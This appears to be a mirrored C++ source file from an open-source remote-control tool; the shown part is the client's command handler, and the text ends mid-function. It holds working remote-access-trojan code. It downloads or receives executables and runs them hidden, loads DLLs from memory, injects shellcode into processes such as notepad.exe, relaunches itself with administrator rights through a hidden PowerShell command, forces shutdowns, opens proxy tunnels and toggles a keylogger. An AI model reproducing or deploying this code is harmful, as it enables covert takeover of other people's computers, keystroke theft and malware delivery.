mirror of
https://github.com/yuanyuanxiang/SimpleRemoter.git
synced 2026-01-22 07:14:15 +08:00
966 lines
34 KiB
C++
966 lines
34 KiB
C++
// KernelManager.cpp: implementation of the CKernelManager class.
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//
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//////////////////////////////////////////////////////////////////////
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#include "stdafx.h"
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#include "KernelManager.h"
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#include "Common.h"
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#include <iostream>
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#include <fstream>
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#include <corecrt_io.h>
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#include "ClientDll.h"
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#include "MemoryModule.h"
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#include "common/dllRunner.h"
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#include "server/2015Remote/pwd_gen.h"
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#include <common/iniFile.h>
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#include "IOCPUDPClient.h"
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#include "IOCPKCPClient.h"
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#include "auto_start.h"
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#include "ShellcodeInj.h"
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#include "KeyboardManager.h"
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#pragma comment(lib, "urlmon.lib")
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int CKernelManager::g_IsAppExit = FALSE;
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// UDP 协议仅能针对小包数据，且数据没有时序关联
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IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect)
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{
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if (conn->protoType == PROTO_HTTPS) return NULL;
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int type = conn->protoType == PROTO_RANDOM ? time(nullptr) % PROTO_RANDOM : conn->protoType;
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if (!conn->IsVerified() || type == PROTO_TCP)
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return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->GetHeaderEncType(), publicIP);
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if (type == PROTO_UDP)
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return new IOCPUDPClient(bExit, exit_while_disconnect);
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if (type == PROTO_HTTP || type == PROTO_HTTPS)
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return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->GetHeaderEncType(), publicIP);
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if (type == PROTO_KCP) {
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return new IOCPKCPClient(bExit, exit_while_disconnect);
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}
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return NULL;
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}
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ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP)
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{
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static ThreadInfo tKeyboard;
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tKeyboard.run = FOREVER_RUN;
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tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->GetHeaderEncType(), publicIP);
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tKeyboard.conn = conn;
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tKeyboard.h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
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return &tKeyboard;
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}
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//////////////////////////////////////////////////////////////////////
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// Construction/Destruction
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//////////////////////////////////////////////////////////////////////
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CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s)
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: m_conn(conn), m_hInstance(hInstance), CManager(ClientObject), g_bExit(s)
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{
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m_ulThreadCount = 0;
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#ifdef _DEBUG
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m_settings = { 5 };
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#else
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m_settings = { 0 };
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#endif
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m_nNetPing = {};
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m_hKeyboard = kb;
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}
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CKernelManager::~CKernelManager()
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{
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Mprintf("~CKernelManager begin\n");
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int i = 0;
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for (i=0; i<MAX_THREADNUM; ++i) {
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if (m_hThread[i].h!=0) {
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CloseHandle(m_hThread[i].h);
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m_hThread[i].h = NULL;
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m_hThread[i].run = FALSE;
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while (m_hThread[i].p)
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Sleep(50);
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}
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}
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m_ulThreadCount = 0;
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Mprintf("~CKernelManager end\n");
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}
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// 获取可用的线程下标
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UINT CKernelManager::GetAvailableIndex()
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{
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if (m_ulThreadCount < MAX_THREADNUM) {
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return m_ulThreadCount;
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}
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for (int i = 0; i < MAX_THREADNUM; ++i) {
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if (m_hThread[i].p == NULL) {
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return i;
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}
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}
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return -1;
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}
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BOOL WriteBinaryToFile(const char* data, ULONGLONG size, const char* name = "ServerDll.new")
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{
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char path[_MAX_PATH], * p = path;
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GetModuleFileNameA(NULL, path, sizeof(path));
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while (*p) ++p;
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while ('\\' != *p) --p;
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strcpy(p + 1, name);
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if (_access(path, 0) != -1) {
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if (std::string("ServerDll.new")!=name) return TRUE;
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DeleteFileA(path);
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}
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// 打开文件，以二进制模式写入
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std::string filePath = path;
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std::ofstream outFile(filePath, std::ios::binary);
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if (!outFile) {
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Mprintf("Failed to open or create the file: %s.\n", filePath.c_str());
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return FALSE;
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}
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// 写入二进制数据
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outFile.write(data, size);
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if (outFile.good()) {
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Mprintf("Binary data written successfully to %s.\n", filePath.c_str());
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} else {
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Mprintf("Failed to write data to file.\n");
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outFile.close();
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return FALSE;
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}
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// 关闭文件
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outFile.close();
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// 设置文件属性为隐藏
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if (SetFileAttributesA(filePath.c_str(), FILE_ATTRIBUTE_HIDDEN)) {
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Mprintf("File created and set to hidden: %s\n", filePath.c_str());
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}
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return TRUE;
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}
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template <typename T = DllExecuteInfo>
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class DllExecParam {
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public:
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T *info;
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PluginParam param;
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BYTE* buffer;
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CManager* manager;
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DllExecParam(const T& dll, const PluginParam& arg, BYTE* data, CManager* m) : info(new T()), param(arg), manager(m)
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{
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buffer = new BYTE[dll.Size];
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memcpy(buffer, data, dll.Size);
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memcpy(info, &dll, sizeof(dll));
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}
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~DllExecParam()
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{
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SAFE_DELETE_ARRAY(buffer);
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SAFE_DELETE(info);
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}
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};
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class MemoryDllRunner : public DllRunner
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{
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protected:
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HMEMORYMODULE m_mod;
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public:
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MemoryDllRunner() : m_mod(nullptr) {}
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virtual void* LoadLibraryA(const char* data, int size)
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{
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return (m_mod = ::MemoryLoadLibrary(data, size));
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}
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virtual FARPROC GetProcAddress(void* mod, const char* lpProcName)
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{
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return ::MemoryGetProcAddress((HMEMORYMODULE)mod, lpProcName);
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}
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virtual BOOL FreeLibrary(void* mod)
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{
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::MemoryFreeLibrary((HMEMORYMODULE)mod);
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return TRUE;
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}
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};
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typedef int (*RunSimpleTcpFunc)(
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const char* privilegeKey,
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long timestamp,
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const char* serverAddr,
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int serverPort,
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int localPort,
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int remotePort,
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int* statusPtr
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);
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DWORD WINAPI ExecuteDLLProc(LPVOID param)
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{
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DllExecParam<>* dll = (DllExecParam<>*)param;
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DllExecuteInfo info = *(dll->info);
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PluginParam pThread = dll->param;
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CManager* This = dll->manager;
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#if _DEBUG
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WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name);
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DllRunner* runner = new DefaultDllRunner(info.Name);
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#else
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DllRunner* runner = new MemoryDllRunner();
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#endif
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if (info.RunType == MEMORYDLL) {
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HMEMORYMODULE module = runner->LoadLibraryA((char*)dll->buffer, info.Size);
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switch (info.CallType) {
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case CALLTYPE_DEFAULT:
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while (S_CLIENT_EXIT != *pThread.Exit)
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Sleep(1000);
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break;
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case CALLTYPE_IOCPTHREAD: {
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PTHREAD_START_ROUTINE proc = module ? (PTHREAD_START_ROUTINE)runner->GetProcAddress(module, "run") : NULL;
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Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
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if (proc) {
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proc(&pThread);
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} else {
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while (S_CLIENT_EXIT != *pThread.Exit)
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Sleep(1000);
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}
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break;
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}
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case CALLTYPE_FRPC_CALL: {
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RunSimpleTcpFunc proc = module ? (RunSimpleTcpFunc)runner->GetProcAddress(module, "RunSimpleTcp") : NULL;
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char* user = (char*)dll->param.User;
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FrpcParam* f = (FrpcParam*)user;
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if (proc) {
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Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
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int r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
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&CKernelManager::g_IsAppExit);
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if (r) {
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char buf[100];
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sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
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Mprintf("%s\n", buf);
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ClientMsg msg("代理端口", buf);
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This->SendData((LPBYTE)&msg, sizeof(msg));
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}
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}
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SAFE_DELETE_ARRAY(user);
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break;
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}
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default:
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break;
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}
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if (info.CallType != CALLTYPE_FRPC_CALL)
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runner->FreeLibrary(module);
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} else if (info.RunType == SHELLCODE) {
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bool flag = info.CallType == CALLTYPE_IOCPTHREAD;
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ShellcodeInj inj(dll->buffer, info.Size, flag ? "run" : 0, flag ? &pThread : 0, flag ? sizeof(PluginParam) : 0);
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if (info.Pid < 0) info.Pid = GetCurrentProcessId();
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int ret = info.Pid ? inj.InjectProcess(info.Pid) : inj.InjectProcess("notepad.exe", true);
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char buf[256];
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sprintf_s(buf, "Inject %s to process [%d] %s", info.Name, info.Pid ? info.Pid : ret, ret ? "succeed" : "failed");
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Mprintf("%s\n", buf);
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ClientMsg msg("代码注入", buf);
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This->SendData((LPBYTE)&msg, sizeof(msg));
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}
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SAFE_DELETE(dll);
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SAFE_DELETE(runner);
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return 0x20250529;
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}
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DWORD WINAPI SendKeyboardRecord(LPVOID lParam)
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{
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CKeyboardManager1* pMgr = (CKeyboardManager1*)lParam;
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if (pMgr) {
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pMgr->Reconnect();
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pMgr->Notify();
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}
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return 0xDead0001;
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}
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// 判断 PowerShell 版本是否 >= 3.0
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bool IsPowerShellAvailable()
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{
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// 设置启动信息
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STARTUPINFO si = { sizeof(si) };
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PROCESS_INFORMATION pi;
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si.dwFlags = STARTF_USESHOWWINDOW;
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si.wShowWindow = SW_HIDE; // 隐藏窗口
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// 创建匿名管道以捕获 PowerShell 输出
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SECURITY_ATTRIBUTES sa = { sizeof(sa) };
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sa.bInheritHandle = TRUE; // 管道句柄可继承
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HANDLE hReadPipe, hWritePipe;
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if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) {
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Mprintf("CreatePipe failed. Error: %d\n", GetLastError());
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return false;
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}
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// 设置标准输出和错误输出到管道
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si.hStdOutput = hWritePipe;
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si.hStdError = hWritePipe;
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si.dwFlags |= STARTF_USESTDHANDLES;
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// 构造 PowerShell 命令
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std::string command = "powershell -Command \"$PSVersionTable.PSVersion.Major\"";
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// 创建 PowerShell 进程
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if (!CreateProcess(
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nullptr, // 不指定模块名（使用命令行）
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(LPSTR)command.c_str(), // 命令行参数
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nullptr, // 进程句柄不可继承
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nullptr, // 线程句柄不可继承
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TRUE, // 继承句柄
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CREATE_NO_WINDOW, // 不显示窗口
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nullptr, // 使用父进程环境块
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nullptr, // 使用父进程工作目录
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&si, // 启动信息
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&pi // 进程信息
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)) {
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Mprintf("CreateProcess failed. Error: %d\n", GetLastError());
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CloseHandle(hReadPipe);
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CloseHandle(hWritePipe);
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return false;
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}
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// 关闭管道的写端
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CloseHandle(hWritePipe);
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// 读取 PowerShell 输出
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std::string result;
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char buffer[128];
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DWORD bytesRead;
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while (ReadFile(hReadPipe, buffer, sizeof(buffer) - 1, &bytesRead, nullptr) && bytesRead > 0) {
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buffer[bytesRead] = '\0';
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result += buffer;
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}
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// 关闭管道的读端
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CloseHandle(hReadPipe);
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// 等待进程结束
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WaitForSingleObject(pi.hProcess, INFINITE);
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// 获取退出代码
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DWORD exitCode=0;
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if (!GetExitCodeProcess(pi.hProcess, &exitCode)) {
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Mprintf("GetExitCodeProcess failed. Error: %d\n", GetLastError());
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CloseHandle(pi.hProcess);
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CloseHandle(pi.hThread);
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return false;
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}
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// 关闭进程和线程句柄
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CloseHandle(pi.hProcess);
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CloseHandle(pi.hThread);
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// 解析返回的版本号
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if (exitCode == 0) {
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try {
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int version = std::stoi(result);
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Mprintf("PowerShell version: %d\n", version);
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return version >= 3;
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} catch (...) {
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Mprintf("Failed to parse PowerShell version.\n");
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return false;
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}
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} else {
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Mprintf("PowerShell command failed with exit code: %d\n", exitCode);
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return false;
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}
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}
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/*
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Windows 10/11: 👉 放心使用，可以直接运行
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Windows 7: 如果 PowerShell 版本 >= 3.0，可以运行; 否则无法以管理员权限重启
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*/
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bool StartAdminLauncherAndExit(const char* exePath, bool admin = true)
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{
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// 获取当前进程 ID
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DWORD currentPID = GetCurrentProcessId();
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// 构造 PowerShell 命令，等待当前进程退出后以管理员权限启动
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std::string launcherCmd = "powershell -Command \"Start-Sleep -Seconds 1; " // 等待 1 秒，确保当前进程退出
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"while (Get-Process -Id " + std::to_string(currentPID) + " -ErrorAction SilentlyContinue) { Start-Sleep -Milliseconds 500 }; "
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"Start-Process -FilePath '" + std::string(exePath);
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launcherCmd += admin ? "' -Verb RunAs\"" : "' \""; // 以管理员权限启动目标进程
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// 启动隐藏的 cmd 进程
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STARTUPINFO si = { sizeof(si) };
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si.dwFlags = STARTF_USESHOWWINDOW;
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si.wShowWindow = SW_HIDE; // 隐藏窗口
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PROCESS_INFORMATION pi = {};
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Mprintf("Run: %s\n", launcherCmd.c_str());
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if (CreateProcessA(NULL, (LPSTR)launcherCmd.c_str(), NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
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Mprintf("CreateProcess to start launcher process [%d].\n", pi.dwProcessId);
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CloseHandle(pi.hProcess);
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CloseHandle(pi.hThread);
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return true;
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}
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Mprintf("Failed to start launcher process.\n");
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return false;
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}
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BOOL IsRunningAsAdmin()
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{
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BOOL isAdmin = FALSE;
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PSID administratorsGroup = NULL;
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SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
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if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
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0, 0, 0, 0, 0, 0, &administratorsGroup)) {
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if (!CheckTokenMembership(NULL, administratorsGroup, &isAdmin)) {
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isAdmin = FALSE;
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}
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FreeSid(administratorsGroup);
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}
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return isAdmin;
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}
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bool EnableShutdownPrivilege()
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{
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HANDLE hToken;
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TOKEN_PRIVILEGES tkp;
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// 打开当前进程的令牌
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if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
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return false;
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}
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// 获取关机权限的 LUID
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if (!LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid)) {
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CloseHandle(hToken);
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return false;
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}
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tkp.PrivilegeCount = 1;
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tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
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// 启用关机权限
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if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0)) {
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CloseHandle(hToken);
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return false;
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}
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CloseHandle(hToken);
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return true;
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}
|
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|
||
class CDownloadCallback : public IBindStatusCallback
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||
{
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||
private:
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DWORD m_startTime;
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DWORD m_timeout; // 毫秒
|
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||
public:
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CDownloadCallback(DWORD timeoutMs) : m_timeout(timeoutMs)
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{
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m_startTime = GetTickCount();
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}
|
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HRESULT STDMETHODCALLTYPE OnProgress(ULONG ulProgress, ULONG ulProgressMax,
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ULONG ulStatusCode, LPCWSTR szStatusText) override
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{
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// 超时检查
|
||
if (GetTickCount() - m_startTime > m_timeout) {
|
||
return E_ABORT; // 取消下载
|
||
}
|
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return S_OK;
|
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}
|
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|
||
// 其他接口方法返回默认值
|
||
HRESULT STDMETHODCALLTYPE OnStartBinding(DWORD, IBinding*) override
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||
{
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||
return S_OK;
|
||
}
|
||
HRESULT STDMETHODCALLTYPE GetPriority(LONG*) override
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||
{
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||
return S_OK;
|
||
}
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||
HRESULT STDMETHODCALLTYPE OnLowResource(DWORD) override
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||
{
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||
return S_OK;
|
||
}
|
||
HRESULT STDMETHODCALLTYPE OnStopBinding(HRESULT, LPCWSTR) override
|
||
{
|
||
return S_OK;
|
||
}
|
||
HRESULT STDMETHODCALLTYPE GetBindInfo(DWORD*, BINDINFO*) override
|
||
{
|
||
return S_OK;
|
||
}
|
||
HRESULT STDMETHODCALLTYPE OnDataAvailable(DWORD, DWORD, FORMATETC*, STGMEDIUM*) override
|
||
{
|
||
return S_OK;
|
||
}
|
||
HRESULT STDMETHODCALLTYPE OnObjectAvailable(REFIID, IUnknown*) override
|
||
{
|
||
return S_OK;
|
||
}
|
||
|
||
// IUnknown
|
||
ULONG STDMETHODCALLTYPE AddRef() override
|
||
{
|
||
return 1;
|
||
}
|
||
ULONG STDMETHODCALLTYPE Release() override
|
||
{
|
||
return 1;
|
||
}
|
||
HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppv) override
|
||
{
|
||
if (riid == IID_IBindStatusCallback || riid == IID_IUnknown) {
|
||
*ppv = this;
|
||
return S_OK;
|
||
}
|
||
return E_NOINTERFACE;
|
||
}
|
||
};
|
||
|
||
void DownExecute(const std::string &strUrl, CManager *This)
|
||
{
|
||
// 临时路径
|
||
char szTempPath[MAX_PATH], szSavePath[MAX_PATH];
|
||
GetTempPathA(MAX_PATH, szTempPath);
|
||
srand(GetTickCount64());
|
||
sprintf_s(szSavePath, "%sDownload_%d.exe", szTempPath, rand() % 10086);
|
||
|
||
// 下载并运行
|
||
const int timeoutMs = 30 * 1000;
|
||
CDownloadCallback callback(timeoutMs);
|
||
if (S_OK == URLDownloadToFileA(NULL, strUrl.c_str(), szSavePath, 0, &callback)) {
|
||
ShellExecuteA(NULL, "open", szSavePath, NULL, NULL, SW_HIDE);
|
||
Mprintf("Download Exec Success: %s\n", strUrl.c_str());
|
||
char buf[100];
|
||
sprintf_s(buf, "Client %llu download exec succeed", This->GetClientID());
|
||
ClientMsg msg("执行成功", buf);
|
||
This->SendData(LPBYTE(&msg), sizeof(msg));
|
||
} else {
|
||
Mprintf("Download Exec Failed: %s\n", strUrl.c_str());
|
||
char buf[100];
|
||
sprintf_s(buf, "Client %llu download exec failed", This->GetClientID());
|
||
ClientMsg msg("执行失败", buf);
|
||
This->SendData(LPBYTE(&msg), sizeof(msg));
|
||
}
|
||
}
|
||
|
||
#include "common/location.h"
|
||
std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& masterHash)
|
||
{
|
||
config* m_iniFile = nullptr;
|
||
#ifdef _DEBUG
|
||
m_iniFile = pwdHash == masterHash ? new config : new iniFile;
|
||
#else
|
||
m_iniFile = new iniFile;
|
||
#endif
|
||
int version = m_iniFile->GetInt("settings", "BindType", 0);
|
||
std::string master = m_iniFile->GetStr("settings", "master");
|
||
SAFE_DELETE(m_iniFile);
|
||
switch (version) {
|
||
case 0:
|
||
return getHardwareID();
|
||
case 1: {
|
||
if (!master.empty()) {
|
||
return master;
|
||
}
|
||
IPConverter cvt;
|
||
return cvt.getPublicIP();
|
||
}
|
||
}
|
||
return "";
|
||
}
|
||
|
||
template<typename T = DllExecuteInfo>
|
||
BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user) {
|
||
static std::map<std::string, std::vector<BYTE>> m_MemDLL;
|
||
const int sz = 1 + sizeof(T);
|
||
if (ulLength < sz) return FALSE;
|
||
const T* info = (T*)(szBuffer + 1);
|
||
const char* md5 = info->Md5;
|
||
auto find = m_MemDLL.find(md5);
|
||
if (find == m_MemDLL.end() && ulLength == sz) {
|
||
iniFile cfg(CLIENT_PATH);
|
||
auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5"));
|
||
if (md5.empty() || md5 != info->Md5 || !This->m_conn->IsVerified()) {
|
||
// 第一个命令没有包含DLL数据，需客户端检测本地是否已经有相关DLL，没有则向主控请求执行代码
|
||
This->m_ClientObject->Send2Server((char*)szBuffer, ulLength);
|
||
return TRUE;
|
||
}
|
||
Mprintf("Execute local DLL from registry: %s\n", md5.c_str());
|
||
binFile bin(CLIENT_PATH);
|
||
auto local = bin.GetStr("settings", info->Name + std::string(".bin"));
|
||
const BYTE* bytes = reinterpret_cast<const BYTE*>(local.data());
|
||
m_MemDLL[md5] = std::vector<BYTE>(bytes + sz, bytes + sz + info->Size);
|
||
find = m_MemDLL.find(md5);
|
||
}
|
||
BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL;
|
||
if (info->Size == ulLength - sz) {
|
||
if (md5[0]) {
|
||
m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size);
|
||
iniFile cfg(CLIENT_PATH);
|
||
cfg.SetStr("settings", info->Name + std::string(".md5"), md5);
|
||
binFile bin(CLIENT_PATH);
|
||
std::string buffer(reinterpret_cast<const char*>(szBuffer), ulLength);
|
||
bin.SetStr("settings", info->Name + std::string(".bin"), buffer);
|
||
Mprintf("Save DLL to registry: %s\n", md5);
|
||
}
|
||
data = szBuffer + sz;
|
||
}
|
||
if (data) {
|
||
PluginParam param(This->m_conn->ServerIP(), This->m_conn->ServerPort(), &This->g_bExit, user);
|
||
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<T>(*info, param, data, This), 0, NULL));
|
||
Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size);
|
||
}
|
||
return data != NULL;
|
||
}
|
||
|
||
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||
{
|
||
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
||
if ((m_ulThreadCount = GetAvailableIndex()) == -1 && !isExit) {
|
||
return Mprintf("CKernelManager: The number of threads exceeds the limit.\n");
|
||
} else if (!isExit) {
|
||
m_hThread[m_ulThreadCount].p = nullptr;
|
||
m_hThread[m_ulThreadCount].conn = m_conn;
|
||
}
|
||
std::string publicIP = m_ClientObject->GetClientIP();
|
||
|
||
switch (szBuffer[0]) {
|
||
case CMD_SET_GROUP: {
|
||
std::string group = std::string((char*)szBuffer + 1);
|
||
iniFile cfg(CLIENT_PATH);
|
||
cfg.SetStr("settings", "group_name", group);
|
||
break;
|
||
}
|
||
|
||
case COMMAND_DOWN_EXEC: {
|
||
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
|
||
break;
|
||
}
|
||
|
||
case COMMAND_UPLOAD_EXEC: {
|
||
if (ulLength < 5) break;
|
||
|
||
DWORD dwFileSize = *(DWORD*)(szBuffer + 1);
|
||
if (dwFileSize == 0 || ulLength < (5 + dwFileSize)) break;
|
||
BYTE* pFileData = szBuffer + 5;
|
||
|
||
char szTempPath[MAX_PATH], szSavePath[MAX_PATH];
|
||
GetTempPathA(MAX_PATH, szTempPath);
|
||
srand(GetTickCount64());
|
||
sprintf_s(szSavePath, "%sUpload_%d.exe", szTempPath, rand() % 10086);
|
||
|
||
FILE* fp = fopen(szSavePath, "wb");
|
||
if (fp) {
|
||
fwrite(pFileData, 1, dwFileSize, fp);
|
||
fclose(fp);
|
||
ShellExecuteA(NULL, "open", szSavePath, NULL, NULL, SW_HIDE);
|
||
Mprintf("Upload Exec Success: %d bytes\n", dwFileSize);
|
||
}
|
||
char buf[100];
|
||
sprintf_s(buf, "Client %llu upload exec %s", m_conn->clientID, fp ? "succeed" : "failed");
|
||
ClientMsg msg(fp ? "执行成功" : "执行失败", buf);
|
||
SendData(LPBYTE(&msg), sizeof(msg));
|
||
break;
|
||
}
|
||
case TOKEN_MACHINE_MANAGE:
|
||
if (ulLength <= 1 || !EnableShutdownPrivilege()) break;
|
||
#ifdef _DEBUG
|
||
Mprintf("收到机器管理命令: %d, %d\n", szBuffer[0], szBuffer[1]);
|
||
break;
|
||
#endif
|
||
switch (szBuffer[1]) {
|
||
case MACHINE_LOGOUT: {
|
||
ExitWindowsEx(EWX_LOGOFF | EWX_FORCE, 0);
|
||
break;
|
||
}
|
||
case MACHINE_SHUTDOWN: {
|
||
ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0);
|
||
break;
|
||
}
|
||
case MACHINE_REBOOT: {
|
||
ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);
|
||
break;
|
||
}
|
||
default:
|
||
break;
|
||
}
|
||
case CMD_RUNASADMIN: {
|
||
char curFile[_MAX_PATH] = {};
|
||
GetModuleFileName(NULL, curFile, MAX_PATH);
|
||
if (!IsRunningAsAdmin()) {
|
||
if (IsPowerShellAvailable() && StartAdminLauncherAndExit(curFile)) {
|
||
g_bExit = S_CLIENT_EXIT;
|
||
// 强制退出当前进程，并稍后以管理员权限运行
|
||
Mprintf("CKernelManager: [%s] Restart with administrator privileges.\n", curFile);
|
||
Sleep(1000);
|
||
TerminateProcess(GetCurrentProcess(), 0xABCDEF);
|
||
}
|
||
Mprintf("CKernelManager: [%s] Restart with administrator privileges FAILED.\n", curFile);
|
||
break;
|
||
}
|
||
Mprintf("CKernelManager: [%s] Running with administrator privileges.\n", curFile);
|
||
break;
|
||
}
|
||
case CMD_AUTHORIZATION: {
|
||
HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE");
|
||
hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE");
|
||
#ifndef _DEBUG
|
||
if (hMutex == NULL) { // 没有互斥量，主程序可能未运行
|
||
Mprintf("!!! [WARN] Master program is not running.\n");
|
||
}
|
||
#endif
|
||
CloseHandle(hMutex);
|
||
|
||
char buf[100] = {}, *passCode = buf + 5;
|
||
memcpy(buf, szBuffer, min(sizeof(buf), ulLength));
|
||
std::string masterHash(skCrypt(MASTER_HASH));
|
||
const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str();
|
||
if (passCode[0] == 0) {
|
||
static std::string hardwareId = getHardwareIDByCfg(pwdHash, masterHash);
|
||
static std::string hashedID = hashSHA256(hardwareId);
|
||
static std::string devId = getFixedLengthID(hashedID);
|
||
memcpy(buf + 24, buf + 12, 8); // 消息签名
|
||
memcpy(buf + 96, buf + 8, 4); // 时间戳
|
||
memcpy(buf + 5, devId.c_str(), devId.length()); // 16字节
|
||
memcpy(buf + 32, pwdHash, 64); // 64字节
|
||
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
|
||
Mprintf("Request for authorization update.\n");
|
||
} else {
|
||
unsigned short* days = (unsigned short*)(buf + 1);
|
||
unsigned short* num = (unsigned short*)(buf + 3);
|
||
config* cfg = ((pwdHash == masterHash) && IsDebug) ? new config : new iniFile;
|
||
cfg->SetStr("settings", "Password", *days <= 0 ? "" : passCode);
|
||
cfg->SetStr("settings", "HMAC", *days <= 0 ? "" : buf + 64);
|
||
Mprintf("Update authorization: %s, HMAC: %s\n", passCode, buf+64);
|
||
delete cfg;
|
||
g_bExit = S_SERVER_EXIT;
|
||
}
|
||
break;
|
||
}
|
||
case CMD_EXECUTE_DLL: {
|
||
if (!ExecDLL(this, szBuffer, ulLength, m_conn)) {
|
||
Mprintf("CKernelManager ExecDLL failed: %d bytes\n", ulLength);
|
||
}
|
||
break;
|
||
}
|
||
case CMD_EXECUTE_DLL_NEW: {
|
||
if (sizeof(szBuffer) == 4) {
|
||
Mprintf("CKernelManager ExecDLL failed: NOT x64 client\n");
|
||
break;
|
||
}
|
||
DllExecuteInfoNew* info = ulLength > sizeof(DllExecuteInfoNew) ? (DllExecuteInfoNew*)(szBuffer + 1) : 0;
|
||
char* user = info ? new char[400] : 0;
|
||
if (user == NULL) break;;
|
||
if (info) memcpy(user, info->Parameters, 400);
|
||
if (!ExecDLL<DllExecuteInfoNew>(this, szBuffer, ulLength, user)) {
|
||
Mprintf("CKernelManager ExecDLL failed: received %d bytes\n", ulLength);
|
||
}
|
||
break;
|
||
}
|
||
|
||
case TOKEN_PRIVATESCREEN: {
|
||
char h[100] = {};
|
||
memcpy(h, szBuffer + 1, ulLength - 1);
|
||
std::string hash = std::string(h, h + 64);
|
||
std::string hmac = std::string(h + 64, h + 80);
|
||
std::thread t(private_desktop, m_conn, g_bExit, hash, hmac);
|
||
t.detach();
|
||
break;
|
||
}
|
||
|
||
case COMMAND_PROXY: {
|
||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||
break;
|
||
}
|
||
|
||
case COMMAND_SHARE:
|
||
case COMMAND_ASSIGN_MASTER:
|
||
if (ulLength > 2) {
|
||
switch (szBuffer[1]) {
|
||
case SHARE_TYPE_YAMA_FOREVER: {
|
||
auto v = StringToVector((char*)szBuffer + 2, ':', 3);
|
||
if (v[0].empty() || v[1].empty())
|
||
break;
|
||
|
||
iniFile cfg(CLIENT_PATH);
|
||
auto now = time(nullptr);
|
||
auto valid_to = atoi(cfg.GetStr("settings", "valid_to").c_str());
|
||
if (now <= valid_to) break; // Avoid assign again
|
||
cfg.SetStr("settings", "master", v[0]);
|
||
cfg.SetStr("settings", "port", v[1]);
|
||
float days = atof(v[2].c_str());
|
||
if (days > 0) {
|
||
auto valid_to = time(0) + days*86400;
|
||
// overflow after 2038-01-19
|
||
cfg.SetStr("settings", "valid_to", std::to_string(valid_to));
|
||
}
|
||
}
|
||
case SHARE_TYPE_YAMA: {
|
||
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
|
||
if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||
break;
|
||
}
|
||
case SHARE_TYPE_HOLDINGHANDS:
|
||
break;
|
||
}
|
||
}
|
||
break;
|
||
|
||
case CMD_HEARTBEAT_ACK:
|
||
if (ulLength > 8) {
|
||
uint64_t n = 0;
|
||
memcpy(&n, szBuffer + 1, sizeof(uint64_t));
|
||
m_nNetPing.update_from_sample(GetUnixMs() - n);
|
||
}
|
||
break;
|
||
case CMD_MASTERSETTING:
|
||
if (ulLength > MasterSettingsOldSize) {
|
||
memcpy(&m_settings, szBuffer + 1, ulLength > sizeof(MasterSettings) ? sizeof(MasterSettings) : MasterSettingsOldSize);
|
||
Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds\n", ulLength - 1, m_settings.ReportInterval);
|
||
iniFile cfg(CLIENT_PATH);
|
||
cfg.SetStr("settings", "wallet", m_settings.WalletAddress);
|
||
CManager* pMgr = (CManager*)m_hKeyboard->user;
|
||
if (pMgr) {
|
||
pMgr->UpdateWallet(m_settings.WalletAddress);
|
||
}
|
||
if (m_settings.EnableKBLogger && m_hKeyboard) {
|
||
CKeyboardManager1* mgr = (CKeyboardManager1*)m_hKeyboard->user;
|
||
mgr->m_bIsOfflineRecord = TRUE;
|
||
}
|
||
Logger::getInstance().usingLog(m_settings.EnableLog);
|
||
}
|
||
break;
|
||
case COMMAND_KEYBOARD: { //键盘记录
|
||
if (m_hKeyboard) {
|
||
